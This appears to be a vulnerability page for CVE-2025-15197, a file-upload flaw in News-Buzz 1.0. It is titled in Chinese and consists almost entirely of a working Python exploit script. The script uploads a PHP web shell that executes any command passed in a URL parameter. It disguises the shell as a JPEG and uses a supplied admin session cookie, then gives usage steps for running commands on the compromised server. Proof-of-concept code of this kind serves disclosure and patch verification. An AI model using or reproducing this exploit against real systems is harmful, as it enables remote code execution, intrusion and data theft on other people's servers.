CVE-2025-15197 Content Management System无限制文件上传漏洞

import requests import sys # CVE-2025-15197 PoC - Unrestricted File Upload in News-Buzz 1.0 # Target: /admin/editposts.php def upload_shell(target_url, session_cookie): """ Upload malicious PHP shell to target server """ # Prepare the malicious PHP shell php_shell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Prepare multipart form data files = { 'image': ('shell.php', php_shell, 'image/jpeg') } # Session cookies for authenticated admin access cookies = { 'PHPSESSID': session_cookie } try: # Send the upload request response = requests.post(target_url, files=files, cookies=cookies, timeout=10) if response.status_code == 200: print('[+] File upload request sent successfully') print('[+] Check if shell is accessible at /uploads/shell.php') print('[+] Usage: GET /uploads/shell.php?cmd=whoami') else: print('[-] Upload failed with status:', response.status_code) except requests.exceptions.RequestException as e: print('[-] Error:', str(e)) if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2025-15197.py <target_url> <session_cookie>') print('Example: python cve-2025-15197.py http://target.com/admin/editposts.php abc123') sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] upload_shell(target, cookie)